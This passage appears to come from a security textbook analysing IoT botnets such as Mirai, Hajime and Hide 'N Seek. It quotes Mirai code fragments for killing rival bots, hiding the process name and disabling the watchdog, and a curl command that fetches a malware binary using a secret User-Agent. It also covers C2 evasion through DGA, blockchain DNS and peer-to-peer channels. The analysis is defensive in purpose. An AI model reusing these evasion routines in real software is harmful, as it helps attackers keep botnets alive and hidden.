tion with its state set to 10 (hex value 0x0A). In the “/proc/net/tcp” table, the entry
with id 1 is in the expected state TCP_LISTEN (0x0A) and the inode number of
that socket is 23213.

At this point, we need to iterate through all the processes on the system and
find the process that owns a socket with inode number 23213. The “/proc”
directory contains an entry with the PID for each process active on the system:

$ ls -l / proc

total 0

dr-xr-xr-x 9 root root 0 Nov 28 18:18 1

dr-xr-xr-x 9 root root 0 Nov 28 18:19 10

dr-xr-xr-x 9 syslog syslog 0 Nov 28 18:19 1003

dr-xr-xr-x 9 daemon daemon 0 Nov 28 18:19 1006

dr-xr-xr-x 9 root root 0 Nov 28 18:19 1010

dr-xr-xr-x 9 root root 0 Nov 28 18:19 103

...

The process directory itself contains a lot of information about the process,
including a special directory pointing to all open file descriptors.

Do remember that a socket is a special file in Linux and, by consequence, a socket is
opened, closed, read, and written as a file descriptor. Looking at the file descriptor table
for the process with PID 1252, each entry contains the inode number within the
square brackets and each entry is a symbolic link pointing to the actual file or socket:

$ sudo ls -l / proc /1252/ fd

total 0

From the above we see that file descriptor 3 of the process with PID 1252
corresponds to the socket with inode 23213 and as such corresponds to the
listener of port TCP/22 (SSH). At this point, the “killer_kill_by_port(portno)”
would terminate the process with PID 1252 using the “kill(1252, 9)” system call.

Before ending our little tour of Linux, let’s follow the symbolic link under the
“exe” entry of PID 1252 to verify we just tracked down the correct process,
which should be the sshd daemon:

~$ sudo ls -l /proc/1252/exe

lrwxrwxrwx 1 root root 0 Nov 28 18:19 /proc/1252/exe -> /usr/sbin/sshd

As an aside: the IP addresses in ”/proc/net/tcp” are encoded in their 4-byte hex
representation. The entry with id 5 in the previous TCP connection table that has an

lr -x– – 1 root root 64 Nov 28 18:19 0 -> /dev/null

lrwx – – 1 root root 64 Nov 28 18:19 1 -> ’ socket:[23207] ’

lrwx – – 1 root root 64 Nov 28 18:19 2 -> ’ socket:[23207] ’

lrwx – – 1 root root 64 Nov 28 18:19 3 -> ’ socket:[23213] ’

lrwx – – 1 root root 64 Nov 28 18:19 4 -> ’ socket:[23215] ’
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ESTABLISHED (0x01) connection state has for local address 0x0A0010AC:0016
and remote address 0x1A0010AC:DBCB. The local IP address corresponds to
172.16.0.10 (0x0A=10, 0x00=0, 0x10=16, 0xAC=172) and port 22 (0x0016) while
the remote IP address corresponds to 172.16.0.26 (0x1A=26) port 56267
(0xDBCB). This can be easily verified using the netstat command:

$ netstat - an | grep :22

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN

tcp 0 52 172.16.0.10:22 172.16.0.26 :56267 ESTABLISHED

tcp6 0 0 :::22 :::* LISTEN

Note that the above only considered IPv4 connections, but the same method
applies to IPv6 by using the “/proc/net/tcp6” special file. Note, however, that
Mirai does not support IPv6, at least not the code published from the original
Mirai, which does not say anything about potential variants that might already be
using IPv6 or will do soon.

3.4.7.3 Unlinked Binary Scan

IoT bots typically unlink their binary from the file system upon executing. This
is, as one would expect, not the standard method of operation for legitimate Unix
process and by consequence a valid indicator of compromise (IOC). Using this
IOC, Mirai scans the process table (“/proc/pid”) entries and follows the “/proc/
pid/exe” symbolic link to discover the physical location of the binary correspond-
ing to each running process. At that point, Mirai attempts to open the binary file
for reading and if that fails, Mirai will terminate the process.

3.4.7.4 Memory Scan

Mirai contains one more way to detect competing bots and performs it while
doing the unlinked binary scan discussed earlier. If opening the binary file
corresponding to a running process succeeds, Mirai scans the first 4096 bytes for
specific byte patterns. The byte patterns Mirai scans for were previously initialized
through the encrypted table, the relevant entries with their decrypted counter-
parts in comment are listed below (key for decryption is 0xdeadbeef):

add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); // ’

REPORT % s:% s’

add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); // ’

HTTPFLOOD ’

add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); // ’

LOLNOGTFO ’

add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67

\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10x10\x22", 33); // ’ \\

x58 \\ x4D \\ x4E \\ x4E \\ x43 \\ x50 \\ x46 \\ x22 ’

add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); // ’ zollard ’
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add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); // ’

GETLOCALIP ’

Remember that Qbot reports new victims to its C2 server using the format
“REPORT IP:PORT USERNAME:PASSWORD,” hence the first Qbot pattern.
“HTTPFLOOD” and “LOLNOGTFO” are two control messages recognized by
the Qbot client and hardcoded without encryption or obfuscation in the binary
code. If a binary is found to contain one of the above patterns in its first 4k bytes,
the corresponding process will be killed.

3.4.7.5 Single Instance

At bot initialization time, Mirai checks for already running instances of itself or
competing variants of itself on the device. Imagine multiple competing actors
using the same bot based on the published code for Mirai or they bought it from
an underground developer who sold its bot service or source code to different
booter and stresser providers. Each bot herder would want to be sure their version
can purge and replace any of the competitor’s versions that might have taken
possession of the device earlier on. Also, when updates are available containing
fixes or new features, one would want to be able to upgrade its existing bots by
replacing the currently running bot process with the new version. To ensure only
the new bot is executing on the device, the bot needs to be able to detect the
presence of previous versions and purge them. To that end, Mirai provides the
“ensure_single_instance()” function that runs during the initialization of the bot.

Knowing that at any time only one process can be bound and listening on
a particular port of a specific interface, during initialization the bot checks if it
can bind to port 48101 on its loopback interface address (127.0.0.1). If the bind
succeeds, there is no other instance of a comparable bot running and the bot can
continue its initialization. If another instance were already running on the device,
the bind operation on port 48101 would fail and the bot will locate and kill the
process that is currently listening on that port and then bind itself to the port.
Note that below code was simplified and comments added by the author:

# define SINGLE_INSTANCE_PORT 48101

static void ensure_single_instance(void) {

struct sockaddr_in addr;

int opt = 1;

if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)

return;

setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));

fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = INET_ADDR (127, 0, 0, 1); // loopback

addr.sin_port = htons(SINGLE_INSTANCE_PORT); // 48101

150 ■ Botnet



// Try to bind to the control port

if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) {

// Failed to bind: other instance!

sleep(5); close(fd_ctrl);

// Kill the process listening on the single instance port

killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));

// call ourselves again, now we should be able to bind and take control

ensure_single_instance();

} else {

// no other instances!

// reserve the port by starting a listener on it

listen(fd_ctrl, 1);

}

}

3.4.8 Protecting the Bot Process
To protect the bot process from being detected or being killed by botkiller code from
competing botnets, some bots change their name and command line arguments
in the process table entries using a fixed or random string. Fixed strings are prone
to botkillers, but make it harder to correlate the process with a maliciously loaded
binary by humans inspecting the system. Mirai, for example, changes its binary
executable name from “dvrHelper” to a random alpha string with random length
as illustrated in the code sequence below, which is executed during the bot’s
initialization:

// Hide argv0

name_buf_len = ((rand_next() % 4) + 3) * 4; // between 12 and 24 chars

rand_alphastr(name_buf, name_buf_len);

name_buf[name_buf_len] = 0;

util_strcpy(args[0], name_buf);

// Hide process name

name_buf_len = ((rand_next() % 6) + 3) * 4; // between 12 and 24 chars

rand_alphastr(name_buf, name_buf_len);

name_buf[name_buf_len] = 0;

prctl(PR_SET_NAME, name_buf);

3.4.9 Preventing Reboots

Most IoT botnets, including Mirai, do not persist through reboots. Making
persistent bots that work across a wide range of devices and manufacturers
would require much research as they use different methods to allow the process
to be started during boot. To that end, it is essential to try to keep the infected
device up as long as possible and prevent it from rebooting. Some IoT devices
implement a watchdog feature, some kind of heartbeat monitoring in the form of
a kernel module, which can be pinged through the “/dev/watchdog” or “/dev/
misc/watchdog” virtual device nodes. A watchdog user-space daemon running on
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the system and acting as the heartbeat writes one byte to the virtual device node
at regular intervals. Enabling and disabling the watchdog, as well as configuring
the intervals and settings, are performed through “ioctl” calls on the virtual
device node. If enough heartbeats are missed, the kernel module will trigger
a reboot of the device to automatically remediate a hung condition or a process
spinning out of control. Imagine a bot performing multiple attacks, typically
implemented in a very tight loop, which might cause the watchdog to not get to
the CPU in time and send its heartbeat. To prevent the reboot under heavy
load, Mirai attempts to disable any watchdog implemented on the device using
below code:

// Prevent watchdog from rebooting device

if ( (wfd = open ("/dev/watchdog", 2)) != -1

|| (wfd = open ("/dev/misc/watchdog", 2)) != -1) {

int one = 1;

ioctl(wfd, 0x80045704, &one); // disable watchdog

close(wfd);

wfd = 0;

}

A few IoT bots were observed to be taking a stab at persistence. A persistent bot
could be created through adding entries in “cron,” periodically executing a download
command, for example. Another way to persist across reboots is to alter the startup
configurations of the IoT device. The method for making the bot persistent will vary
between different device classes and manufacturers. It could be that “cron” is not
available or that the manufacturer uses a proprietary scheduler for periodically
running tasks. Typically, manufacturers have a way to define tasks that should be
executed at boot, but there is no consistency in their methods. Because of the efficient
and aggressive scanning, the effort to make bots persist across reboots is not worth it.
Once rebooted, a clean device takes on average less than 2 minutes to be (re-)infected
by the same or a competing botnet [37,38].

One example of an IoT botnet that made an attempt at persisting across
reboots is Hide and Seek (HNS) [39]. HNS copies itself into the “/etc/init.d”
directory to make itself execute after each reboot. However, this method works
only if telnet was used to infect the device, only if the user was root, and only if
the device left “/etc/init.d” writable. That is a lot of “if’s” and by consequence,
this simple attempt to make bots persist will only work with a few devices and, of
course, on most Linux based servers.

3.4.10 Prevent Downloads

Preventing security researchers from getting their hands on the binary in the first
place is even better than obfuscating and trying to slow down the reversing
process. Download servers can use fingerprinting and identification techniques to
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protect the binaries. An HTTP server could, for example, inspect the “User-
Agent” request header of a client requesting the download of a malware binary.
The dropper knows the “secret” User-Agent key and passes it into the wget or
curl commands to download the binary. Security researchers trying to grab the
binaries do not (or at least not always immediately) know the use of the “User-
Agent” HTTP request header as a key and will connect with their favorite tool
using a default “User-Agent”. When the download server receives an unknown
“User-Agent,” it just disconnects or sends an HTTP error code to avoid
unauthorized access to the binaries. At least one botnet used this technique to
avoid security researchers from getting easy access to its binaries; whenever
a client connected with an unknown “User-Agent” value, the IP of that client
was blacklisted by the server for the next 24 hours. This particular botnet used
the “User-Agent” request header to identify the platform binary it wanted to
download. Below is an example of the command line used to download the MIPS
platform binary:

curl -A “elf-mips” http://example.com -o malware.mips

3.5 Decentralized Vs Centralized Command and
Control

3.5.1 Keeping the Comms Up
A botnet is lost when its C2 infrastructure is compromised. Losing the C2 server
means the botnet is dysfunctional and bots become orphans. Bots might still be
actively scanning, discovering and infecting new devices, but bots are not able to take
new commands until the communications with the C2 infrastructure are restored.
To that end, attackers came up with different ways to protect the C2 or enable their
bots to re-establish communications with the original or new C2 servers.

Centrally controlled botnets can be taken down through blackholing C2 traffic,
sinkholing the hostname of the C2 server, or taking the C2 server itself offline.
Depending on the mechanisms the bot has in place to protect its C2 infrastruc-
ture, the take-down method will differ. Blacklisting is another efficient method to
block malicious traffic and supported by community and commercial feeds that
contain known malicious hostnames and IP addresses. While blacklisting is an
effective measure to protect end points and private networks through anti-
malware software and internet gateway solutions, it is mostly not effective to
block malicious traffic originating from IoT devices that are directly exposed on
the internet and devices such as routers and modems.

To build resistance in their botnets, malicious agents use redundancy in their
C2 infrastructure by using more than one server. Most IoT botnets discussed in
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the previous chapter provide means to use a list of C2 servers that the bot uses in
a round-robin fashion by attempting to connect to each server in the list until it
is able to build a connection. The C2 servers can be specified using its IP address
or hostname.

Using hostnames gives the malicious agent more flexibility in terms of moving
his infrastructure or building redundancy in the infrastructure through the use of
round-robin DNS entries that provide multiple IP addresses for one hostname.
Hostnames, however, are vulnerable to DNS sinkholing and blacklisting. A DNS
provider can sinkhole a specific host or domain by redirecting that host or all hosts
from the domain to a nonexistent IP or an IP of a non-malicious server that
provides an information page about the abuse. The higher in the chain the DNS
provider, the more devices and users will be protected by the sinkhole.

Using hardcoded C2 locations in the bot makes it easy for researchers to
discover and locate C2 servers. If the C2 protocol is too apparent, researchers can
tie into the botnet and have their honeypots become port of it so they receive
new attack commands just as the “real” bots do. This is the most effective way to
monitor attacks performed from botnets. Mirai and especially Qbot have basic
C2 protocols that can be easily implemented in fake bots for tracking purposes.
They communicate in clear, free of any encryption or authentication.

To evade blacklisting and resist against DNS sinkholing, bots are known to use
pseudo-random generated hostnames that dynamically change based on date or
time of day. These so-called domain generation algorithms (DGA) were used by
many botnets before and made their way at some point to an IoT botnet in the
form of yet another Mirai variant. In December 2016, security researchers
discovered a Mirai bot with a fairly simple DGA feature [40]. The DGA
implementation used three top-level domains (“.online,” “.tech,” and “.support”),
while the subdomains were 12-byte fixed length random character sequences. The
domain effectively changed once per day. Compared to the Conficker.c worm
that changed domain 50,000 times per day [41], the Mirai variant can be
considered a reasonably primitive attempt at building a DGA based C2 infra-
structure. Note that not each generated name is used by the bot or has
a registered domain to back it. In the Conficker.c case, only 500 of the 50,000
daily generated domain names was attempted to connect to by the bot. After this
one isolated IoT malware occurrence, DGA was not found to be leveraged by
other IoT bots. The investment to have to register or automate the registration of
domain names is not a level of sophistication we came to expect from most IoT
botnet campaigns.

To make name resolving more robust, attackers took to new technologies such as
blockchain-based DNS services. Fbot [42], a Mirai variant, replaces standard DNS
use by a blockchain-based DNS service “EmerDNS.” EmerDNS, in the spirit of the
decentralized blockchain ideology-free from any arbiter or regulator, provides
domain name records in a completely decentralized and uncensorable manner.
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Domain name records cannot be altered, revoked, or suspended by any authority.
Only the record’s owner is able to modify or transfer the record to another owner
determined by whoever controls the private key of the associated Emercoin account.
By using a blockchain-based DNS, the C2 domain is harder to track down and
cannot be sinkholed, as by definition there is no external regulator or authority that
can force the domain name to be taken offline or its content altered.

Instead of using hostnames, which require the malicious agents to register a
domain, they can simply use IP addresses. IP addresses do not provide the flexibility
hostnames do in terms of moving or building redundant C2 infrastructure, but
they are also not vulnerable to DNS sinkholes and since the agents do not have to
register domains, they do not have to fear of being tracked through them. Bots
provide a way to make the C2 infrastructure redundant through the use of a list of
IP addresses instead of a single IP for the C2 server. Coding the IP address in the
bot itself will of course expose it to researchers who get their hands on the binary, as
such botnets like Mirai provide a fake C2 IP to put researchers of from the real C2
IPs that are stored in the binary and in memory in an encrypted format using
proprietary encryption methods. Once researchers have discovered the C2 IP, they
can work with ISPs to blackhole the IP address. Blackholing the IP means that the
ISP will configure its routers as such that the IP gets routed to a nonexistent host or
one for the IANA reserved subnets such as 240.0.0.0/4, which is “reserved for
future use.” IPv6 has a prefix specifically for such cases, as per the IETF RFC6666,
the Discard Prefix for IPv6 is 100::/64.

Another way to build resistance is to compromise legitimate servers. Sinkholing
the hostname or blackholing the IP is no option in this case since then it would
result in legitimate services being impacted. Working with the compromised
party to clean and secure the servers is the right way to bring down the botnet.
Some hack or buy a compromised web server from deep web forums and build
web-based C2 mechanisms that sit atop the compromised web server. On some
occasions, hackers have been found abusing existing third-party services such as
Twitter to control their bots by hiding their C2 traffic in plain sight and
leveraging techniques such as steganography to store their malicious messages
within images. Some malicious actors have also been spotted using the Dropbox
API for communicating with their bots. By hacking a Dropbox account of an
unsuspecting user, bots are able to hide within traffic that emerges from most
households and enterprises and create an effective communication channel backed
by the redundancy and availability of a cloud service. Yet others might consider
exploiting using SDP (session description protocol) information in SIP (session
initiation protocol) messages [43].

The location of the C2 server can also be concealed through third-party
servers. Instead of directly coding the C2 IP address in the bot, the bot is coded
to reach out to a specific URL that contains, for example, pictures, and use
steganography or the metadata of the picture that retrieve the IP address.
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VPNFilter used the latter and encoded the IP address of the stage 2 download
server in the EXIF GPS coordinates of the first image on a photo gallery hosted
on “photobucket.com.”

Of course, there is nothing stopping security researchers from filing abuse with
hosting providers or authorities requesting court orders to bring down malicious
servers. Many service providers have terms of service that will not allow their
services to be abused and can at any moment decide to suspend an account based
on complaints to minimize the risk of their IP subnet being blocked or filtered.
However, there are the so-called “bulletproof” hosting providers that are a lot more
lenient about what can be hosted or how their services are used. These bulletproof
hosting services are often found in countries with more relaxed laws and have less
strict extradition was making it easier to evade law enforcement. As such, bullet-
proof hosting provides a very convenient platform for C2 infrastructures.

3.5.2 Decentralized Botnets

Fully decentralized botnets leverage peer-to-peer communications to create
a distributed C2. The distributed nature of the C2 allows that functionality to
be offered by many, if not all, of the nodes member of the botnet making it
nearly impossible to take it down through its communications. The only way to
take down decentralized botnets is by breaking into the peer-to-peer communica-
tion channel and taking ownership of the botnet, basically taking it down from
within. Depending on the level of security on the communication channels, this
might be a hard to nearly impossible hack. Well-implemented peer-to-peer C2
also allows for better scalability and larger botnets, without need to invest in
faster servers or increase the number of servers as in a central C2 infrastructure.

Fully decentralized botnets, on the other hand, are very hard to implement and
code. The typical IoT botnets, such as the many variants based on Mirai, are
opportunistic in nature and require very little upfront investment in development
and have been proven to be very effective.

Still, as security researchers are gaining in on the technology and methods used
by these unsophisticated botnets and deploying more sensors and honeypots
across the globe, malicious actors must become aware that detection is pretty
much instant and with no resistance against takedown the end of the botnet will
follow closely after detection. If the botnet stays up longer after detection, it is
mostly because the security researchers want to keep it going to gather more
information while monitoring it to ensure it does not grow into a real and
imminent threat. More elaborate and distributed C2 mechanisms and features
such as automated updates are a more significant initial investment in coding and
design, but provide a more persistent and evolutive platform that can be grown
by adding new exploits over time and extended with new attack vectors. Hajime
has been the longest known active IoT botnet, initially discovered a couple of
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days before the Dyn attacks and still operational in 2019. Hajime received several
updates and its modular bots can easily be extend with malicious payload over
time. Hajime has been gaining new exploit vectors as time-based, many based on
new vulnerabilities discovered by security researchers in IoT devices. Because
Hajime is fully decentralized, using a peer-to-peer C2 network with channels
protected by RC4 public/private key encryption, the bot has never been taken
down. That said, the researchers who did the initial report on Hajime discovered
a flaw in the random seed used for the RC4 encryption and as such were able to
hack the encrypted communications. Fairly rapidly however the botnet was
updated and flaw fixed, making it resilient against future intruder attempts. As
the complexity of botnets increases, it will be harder to create a flawless botnet
out of the gate. Hajime leverages the well-known public BitTorrent peer-to-peer
net-work using a dynamic and encrypted overlay that changes on a daily basis to
implement a fully decentralized C2. The bot bootstraps its torrent DHT (Dis-
tributed Hash Table) from “router.bittorrent.com” and “router.utorrent.com” on
port 6881, which allows it to connect to its torrent peers in a trackerless Torrent
network. To create the trackerless Torrent network, the bot uses dynamically
generated info hashes. The 160-bit torrent info hashes are SHA1 hashes generated
based on current date making the overlay network shift on a daily basis. For the
dynamic info hashes to effectively work, it is important that the date and time on
all peers of the torrent network are synchronized. Therefore, the malware
periodically syncs time using the NTP protocol from “ntp.pool.org” on the
default NTP port UDP/123.

Different Torrent info hashes are used to create several communication channels,
one for each resource such as the configuration file (“config”), update binary, and
extension modules. Hajime uses the BitTorrent uTP protocol for peer-to-peer
communication. uTP implements a reliable, in-order transport, and flow-control
on top of UDP. Using uTP instead of TCP Hajime requires only a single socket
and port (UDP/1457) for peer-to-peer communications as well as DHT updates.

Hide ’N Seek (HNS) is another example of a botnet with decentralized C2.
The HNS bots are leveraging some of the Mirai methods to encrypt their attack
and configuration tables, but as opposed to the central C2 paradigm used by
Mirai, they use a peer-to-peer protocol to communicate with other members in
the botnet. As opposed to Hajime, which constructs its peer-to-peer network
around the existing BitTorrent network, HNS uses a custom-built peer-to-peer
system over UDP. The peer-to-peer protocol [44] uses a randomly generated or
command line specified UDP port and supports several message types to allow
peer discovery, payload discovery, as well as data transfer between botnet
members. The protocol is not encrypted, but it leverages ECDSA public keys to
verify data received through the peer-to-peer network. The initial peer-to-peer
protocol implementation was significantly flawed and bots came to a halt under
their own weight as the protocol did not periodically check if peers were still
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active, as such the neighbor list never got cleaned and kept consuming memory.
Later updates to the botnet fixed these issues, but it illustrates how hard and how
much work it takes to build custom peer-to-peer protocols for efficient and robust
IoT botnets.

3.6 Programming Language of Choice: C, Go,
Python, or Lua?

Botnets use different programming languages for their bots, servers, and scanners.
The choice behind every language is rather rational than preference by their author.
Of course, language choices are guided by personal preference and experience, but
the use case must match the strengths of the language while breadth of community
support impact the speed of development. Bots run on resource-constrained devices
with little or no assumptions on pre-installed environments or shared libraries. C2
services have access to much more resources and run in fully customizable
environments, but they need to be resilient and stable while being able to process
many concurrent connections and requests. Scanners need to be easily prototyped
and implemented fast and efficiently while leveraging as much as possible the work
of others to limit time and investment.

Memory in embedded devices is limited and most of the time shared with
RAM file systems that provide storage for ephemeral data. As such, each byte
added to the linked binary is counting twice in most IoT devices. Considering
memories of 512 MB, maybe a few GBs, there is not much room for rich
runtimes such as provided by Python or Java languages. Code running on the
device must be using an efficient programming language, which is able to
minimize the process’s run-time memory footprint by giving the developer
maximum control on the memory management. Garbage collectors are generally
not a good choice to keep a low memory footprint. At the same time, the
resulting code should be efficient in terms of CPU usage, which translates into
a language that is as close as possible to the actual language of the machine while
still being productive, shy of any abstraction layers such as bytecode interpreters.
A good bot should have a small binary footprint so it is efficient to transfer and
takes limited space on the device; it should be self-contained and not make any
assumptions on the availability of shared libraries on compromised devices. It
should be efficient in terms of run-time memory use while limiting its use of
CPU cycles. The code should be written in a portable fashion such that it can be
cross-compiled for as many platforms as possible. An excellent and mature build
toolchain with broad platform support is imperative in the language choice.

Another important aspect is the use of battle-proven code. Code reuse plays an
essential part in bringing new code fast and efficiently into production. It’s not like
there is room for months of development and testing. Battle-proven source-code is
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pure gold for bot developers. The current botnet landscape clearly illustrates this
with heavy reliance on and reuse off existing bot code.

Given these constraints of natively compiled language, broad platform support,
efficient memory management, and close to native machine code, widespread use,
small binaries and the ability to create selfcontained binaries, only one language
springs to mind: C. Unsurprisingly, most bots observed in the wild are coded in C.

Writing stable and leak-free services should consider languages that provide
memory management capabilities such as garbage collection and allow intermedi-
ate bytecode compilation for maximum portability. If on top of that the language
comes with a thriving community that builds high-quality modules and libraries
to extend its core capabilities, we have a perfect fit for implementing rich backend
services. Python is one of those languages that does not have a too steep learning
curve and provides most probably the largest community and number of modules
that provide building blocks to quickly prototype functionalities. Python has
become the de facto language for central scanning and exploiting. Most of the
security community also provides proof-of-concept exploit code in Python, so
a simple copy and paste of publicly available code into a scanner function is the
fastest way to exploiting new devices and growing a botnet.

Python is still interpreted; while many of its modules have been optimized
through rewriting parts or the whole of them in native C, it stays pretty slow
compared to native C code. While Python is an excellent choice for rapid
prototyping, it misses many of the primitives for concurrent programming,
which are of the utmost importance for server backends to need to process
many concurrent connections. The other problem with Python code is that it is
not strongly typed—read easy to shoot oneself in the foot and suffer from run-
time errors that only surface after hours of running in production. Strongly typed
languages with extensive compiler checks provide for languages that prevent one
from most run-time errors in the first place. While it might be more tedious to
program and more work to get code that actually compiles without errors, in the
long run, it will provide a more stable server backend.

Go (Golang) programs are much faster than Python in most of their execution.
Go uses strong typing, a fast garbage collector for convenience and leak-free
programs, and to avoid dangling pointers it does not encourage the use of pointer
code that will lead to memory corruption as is the case with C. Go also provides
concurrent programming primitives such as channels and goroutines, which allow
a development paradigm that is much easier and much more readable compared
to asynchronous programming. Go provides a good middle ground between
C and Python and it comes with excellent community support for libraries and
extensions. Go compiles into a native executable including all dependencies.
Adding out-of-the-box support for cross-compiling, it is clear that this is a very
good match for portable malware development. The drawback of Go, however, is
that the footprint, though many times lower than a full runtime such as Python,
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is still considerably much larger than C. Go however is an excellent choice for
backend server processes such as C2 services.

C is low level and can leverage shared libraries that are provided by the
platform. It provides the smallest footprint, but to create a cross-platform
executable that supports many known and unknown platforms, the dependencies
should be minimized, which is why one mainly sees statically linked binaries. The
size of statically linked binaries is larger than executables leveraging dynamic
libraries, but still factors smaller than binaries are produced by Go. C also gives
more control on the memory use and as such is still the better choice for memory
constrained devices. Go, Python, and Java provide built-in memory management
based on garbage collection, which makes it easier to write code and prevent
memory leaks, but their use of memory is bloated.

Lua, on the other hand, is a powerful, efficient, lightweight, embeddable scripting
language. Lua is distributed in a small package and builds on all platforms that have
a standard C compiler. Lua runs on all flavors of Unix and Windows, mobile devices
with Android, iOS, BREW, Symbian, Windows Phone, and on embedded micro-
processors such as ARM and Rabbit as well as on IBMmainframes, etc. Lua has been
designed to work well with C and the Lua virtual machine offers a small, yet flexible
C API. It needs only a handful of ANSI C library functions for operation and
provides excellent portability to even the most restricted embedded environments.
Moreover, Lua’s coroutines provide a fast and memory efficient way for non-
preemptive multitasking. Lua’s coroutines are built-in and are independent of the
capabilities of the underlying OS. Lua provides a program the capability to have its
functionality extended dynamically through scripting. Lua will still bloat the memory
footprint; it is a bytecode interpreted language and uses garbage collection, but it is
the smallest footprint available for embedded scripting and it comes with a great
community to depend on. It is an interesting choice to provide modular extension
capabilities for more sophisticated IoT malwares.

To summarize: C is best suited for implementing bots that need to run on
constrained devices, Go is an excellent choice for backend services such as C2 and
download servers, while Python is most effective for quickly prototyping and
deploying central scanning processes. Lua provides an efficient way to create
modular and scriptable bots.

3.7 Conclusion
IoT Botnets are in full evolution and thrive on an underground community that
is hungry for cost-effective tools. This leads to, in large part, reuse of the same
concepts and capabilities while incremental changes are made to make the botnet
more resistant against take-downs, more effective in growing its size, and modular
in terms of functionality and payloads.
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The botnets are gradually adapting to stay under the radar from researchers
and their sensor and honeypot-networks. Central scanning techniques and third-
party search engines not only cut development cost and time-to-market for new
scanning opportunities but also keep the botnet from making too much noise.
Leveraging popular programming languages such as Python for central exploiting
allows botnets to add new exploits fast and easy, in most cases all that is needed is
a copy and paste of the exploit’s proof-of-concept code.

While some botnets brought evasive features to avoid being detected, those
efforts are mainly on the discovery and exploit side and not in the C2 or bots
themselves. Bots are more concerned about hiding from competing botnets than
from the owners of devices, security researchers, or potential anti-malware. It
demonstrates a very specific characteristic for IoT-based malware that does not
apply to its cousins that target interactive Windows, MacOS, or Linux systems.
IoT botnets are after headless devices that lack most of the intrusion and threat
detection known from other platforms.

More recently, botnets started campaigning for more capable cloud servers.
Many cloud servers run the same well-known and accessible operating system as
IoT devices and given the cross-platform nature of the bot’s code, the jump from
IoT devices to servers is only a matter of vulnerabilities and exploits.

Newer more capable platforms allowed new kinds of payloads, giving rise to
cloud infrastructure abuse for mining cryptocurrencies. The existing IoT platform
and more specifically those that are directly connected and provide packet
forwarding with flexible configuration capabilities has led to anonymizing proxies,
some that can dynamically build and destroy random paths through a patchwork
of compromised devices, making it hard, if not impossible, to track down the
origin of automated and targeted attacks including account takeover, web scrap-
ing, denial of inventory, click-fraud, SPAM, and carding frauds.

While decentralized C2 provides for botnets that are very hard to take
down, most botnets are still implemented around a central C2 infrastructure.
Decentralized botnets require hard-to-implement and secure peer-to-peer com-
munication channels and by consequence a serious investment in time with
a high risk of launching a flawed botnet that could be taken over or taken
down too easily.

This is not the end of an era; we merely witnessed the growth and establish-
ment of a new category of threats that will continue to take advantage of our
need for smart and connected homes, cities, and industries. From connected cars
to connected cows [45], as people create new opportunities for businesses and
consumers, new opportunities for ransom, abuse, and exploit are created on the
dark side. With 5G closing in to take over the world of mobile communications,
its low latency, high bandwidth, high density, and direct internet connectivity
will be a game changer for most connected devices and might well be the next
explosion for IoT, literally and figuratively speaking.
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4.1 Introduction
Botnets are one of the most important tools adopted by cybercriminals. For
instance, they can be used to launch effective distributed denial of service (DDoS)
attacks characterized by making victims unavailable in more than 65% of cases
[1]. Other typical usages are the distribution of massive loads of spam emails and
the orchestration of cycle-stealing threats including those mining crypto-
currencies, see, e.g., [2], and references therein.

In general, a medium-sized botnet produces a relevant amount of traffic, which
can be easily spotted by using standard network analysis mechanisms, such as
traffic probes or firewalls. However, modern threats implement a variety of
methods to evade detection. We mention, among the others, anti-forensics
functionalities, encrypted payload, modular design for on-the-fly malware custo-
mization, and multistage loading where different portions of the software are
hidden and encrypted separately [3]. Another emerging trend deals with the use
of information hiding including steganography techniques. In this case, the
activity of agents implementing the botnet is hidden via suitable steganographic
techniques allowing to bypass the security frameworks of the infected OS, hide
clues of the attack, as well as increase the stealthiness of the network traffic
containing commands or exfiltrated data [4]. These are crucial aspects for
a malicious software, as they can also protect the botnet from takedown attempts,
and make harder forensics investigations in pursuing criminals by law enforce-
ment agencies [5].

When a botnet implements techniques for evading the detection, some costs in
terms of implementation effort and impact on its utility have to be paid [6]. Such
overheads can be used to build indicators helping the detection process. An
example deals with increased consumptions due to the presence of a malware
running sophisticated routines, thus causing a non-negligible energy drain on the
hosting machine. The power-hungry nature of some malware is also exacerbated
when targeting limited-capability devices, such as Internet of things (IoT) nodes
[7]. Moreover, a too complex malware may reduce the user experience or
introduce lags in the graphical user interface, thus making the user suspicious.
In this case, a widely adopted approach exploits low-attention-raising attacks
capable of reducing their impact on the device. In essence, the malware remains
latent during time-sensitive operations or postpones the attack until the user is
supposed to be away from the device [8]. Another idea to counteract malware is
to exploit the command and control (C&C) channel, which can be considered as
one of the most important weak points. In fact, blocking or slowing down such
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a communication path could void the functioning of the entire botnet as it is
crucial for a variety of critical operations, including the orchestration of the
network, exchange of commands, collect stolen data and update the bot software
[9]. Therefore, being able to hide the presence of the C&C channel is mandatory
to impede the neutralization of the botnet or to severely impair its effectiveness.
To this aim, a typical approach exploits cryptography. In this case, the traffic
produced by the botnet, including C&C communications, is encrypted to have
a random layout hard to reverse or decipher [10]. Instead, an alternative and
emerging paradigm concerns the use of data hiding schemes. In this case, the
protection of the botnet is achieved by not revealing its presence.

To sum up, the deployment of hiding techniques is mandatory for modern
botnets to remain unnoticed, increase their resiliency, and prevent reverse
engineering efforts for the development of countermeasures. From the perspective
of assessing the cyber security of a system, knowing such techniques is crucial
especially to recognize an attack or to develop proper countermeasures.

Unfortunately, there is a constant “chase” between cybercriminals and security
